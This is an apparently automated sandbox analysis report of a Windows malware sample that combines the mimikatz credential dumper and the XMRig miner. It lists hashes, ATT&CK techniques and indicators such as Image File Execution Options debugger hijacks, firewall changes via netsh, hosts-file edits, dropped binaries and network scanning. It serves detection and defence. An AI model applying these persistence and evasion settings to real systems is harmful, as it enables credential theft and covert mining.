mimikatz | c8f7139a593c6ffc84fa3273344a68b11aaaab4b8bd99059eed3f3875ea0c46b

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
25/07/2024, 16:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe
Size

7.9MB
MD5

8b2e8306c6b69592a4cf3705e16491b6
SHA1

acbb1222fc29638f5fb64e0fad1a12ff6773f427
SHA256

c8f7139a593c6ffc84fa3273344a68b11aaaab4b8bd99059eed3f3875ea0c46b
SHA512

8557c4f257fdf455c21ca45e35e6044a0fa8664eee6a8859eccdcf15413d5575d27e9f76cd3026e95ff18ae1c8186d56e7a6305b98ab2e91bb7fddf0809f3155
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4720 created 2052	4720	iimkcmd.exe	37

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (28543) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/1580-182-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-199-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-205-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-215-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-222-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-233-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-250-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-255-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-257-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-259-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-261-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig
behavioral2/memory/1580-262-0x00007FF690270000-0x00007FF690390000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/4584-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/4584-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/files/0x000700000002344d-6.dat	mimikatz
behavioral2/memory/100-8-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/716-138-0x00007FF7D43F0000-0x00007FF7D44DE000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	iimkcmd.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	iimkcmd.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
924	netsh.exe
4596	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
100	iimkcmd.exe
4720	iimkcmd.exe
1920	wpcap.exe
708	bbmwcrbuw.exe
716	vfshost.exe
2624	rtucebkpz.exe
4848	xohudmc.exe
952	pufbqc.exe
1580	kawnpq.exe
944	rtucebkpz.exe
4840	rtucebkpz.exe
3584	rtucebkpz.exe
4208	rtucebkpz.exe
1216	iimkcmd.exe
2564	rtucebkpz.exe
3904	rtucebkpz.exe
3060	rtucebkpz.exe
2644	rtucebkpz.exe
1456	rtucebkpz.exe
4076	rtucebkpz.exe
3916	rtucebkpz.exe
1636	rtucebkpz.exe
2280	rtucebkpz.exe
2940	rtucebkpz.exe
3752	rtucebkpz.exe
5100	rtucebkpz.exe
1172	rtucebkpz.exe
4344	yhkmiczue.exe
760	iimkcmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1920	wpcap.exe
1920	wpcap.exe
1920	wpcap.exe
1920	wpcap.exe
1920	wpcap.exe
1920	wpcap.exe
1920	wpcap.exe
1920	wpcap.exe
1920	wpcap.exe
708	bbmwcrbuw.exe
708	bbmwcrbuw.exe
708	bbmwcrbuw.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023497-134.dat	upx
behavioral2/memory/716-135-0x00007FF7D43F0000-0x00007FF7D44DE000-memory.dmp	upx
behavioral2/memory/716-138-0x00007FF7D43F0000-0x00007FF7D44DE000-memory.dmp	upx
behavioral2/files/0x00070000000234a2-141.dat	upx
behavioral2/memory/2624-142-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/2624-146-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/files/0x000700000002349f-163.dat	upx
behavioral2/memory/1580-164-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/944-172-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/4840-176-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/3584-180-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/1580-182-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/4208-185-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/2564-193-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/3904-197-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/1580-199-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/3060-202-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/1580-205-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/2644-207-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/1456-211-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/1580-215-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/4076-216-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/3916-220-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/1580-222-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/1636-225-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/2280-229-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/2940-232-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/1580-233-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/3752-235-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/5100-237-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/1172-239-0x00007FF625BD0000-0x00007FF625C2B000-memory.dmp	upx
behavioral2/memory/1580-250-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/1580-255-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/1580-257-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/1580-259-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/1580-261-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx
behavioral2/memory/1580-262-0x00007FF690270000-0x00007FF690390000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
76	ifconfig.me
77	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\pufbqc.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2DEAA270F2A3ADDABB8505E3C5BD28E8	iimkcmd.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\pufbqc.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	iimkcmd.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2DEAA270F2A3ADDABB8505E3C5BD28E8	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	iimkcmd.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	iimkcmd.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\ime\iimkcmd.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\vimpcsvc.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\docmicfg.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\docmicfg.xml	iimkcmd.exe
File created	C:\Windows\ptypikwv\docmicfg.xml	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\spoolsrv.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\libxml2.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\schoedcl.xml	iimkcmd.exe
File created	C:\Windows\ptypikwv\vimpcsvc.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\scan.bat	iimkcmd.exe
File opened for modification	C:\Windows\fcbklmeji\ykckyizic\Result.txt	yhkmiczue.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\cnli-1.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\libeay32.dll	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\vimpcsvc.xml	iimkcmd.exe
File created	C:\Windows\ptypikwv\iimkcmd.exe	2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe
File created	C:\Windows\fcbklmeji\UnattendGC\spoolsrv.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\Corporate\mimidrv.sys	iimkcmd.exe
File created	C:\Windows\ptypikwv\spoolsrv.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\crli-0.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\ssleay32.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\zlib1.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\svschost.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\docmicfg.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\vimpcsvc.xml	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\iimkcmd.exe	2024-07-25_8b2e8306c6b69592a4cf3705e16491b6_hacktools_icedid_mimikatz.exe
File created	C:\Windows\fcbklmeji\ykckyizic\yhkmiczue.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\tucl-1.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\wpcap.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\ucl.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\svschost.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\Shellcode.ini	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\AppCapture32.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\coli-0.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\exma-1.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\vimpcsvc.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\Corporate\mimilib.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\trch-1.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\spoolsrv.exe	iimkcmd.exe
File created	C:\Windows\ptypikwv\schoedcl.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\xdvl-0.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\svschost.xml	iimkcmd.exe
File opened for modification	C:\Windows\fcbklmeji\ykckyizic\Packet.dll	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\schoedcl.xml	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\svschost.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\upbdrjv\swrpwe.exe	iimkcmd.exe
File opened for modification	C:\Windows\fcbklmeji\Corporate\log.txt	cmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\tibe-2.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\schoedcl.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\spoolsrv.xml	iimkcmd.exe
File created	C:\Windows\ptypikwv\svschost.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\AppCapture64.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\ip.txt	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\wpcap.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\trfo-2.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\schoedcl.xml	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\docmicfg.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\Corporate\vfshost.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\bbmwcrbuw.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\Packet.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\posh-0.dll	iimkcmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4316	sc.exe
2940	sc.exe
760	sc.exe
3000	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
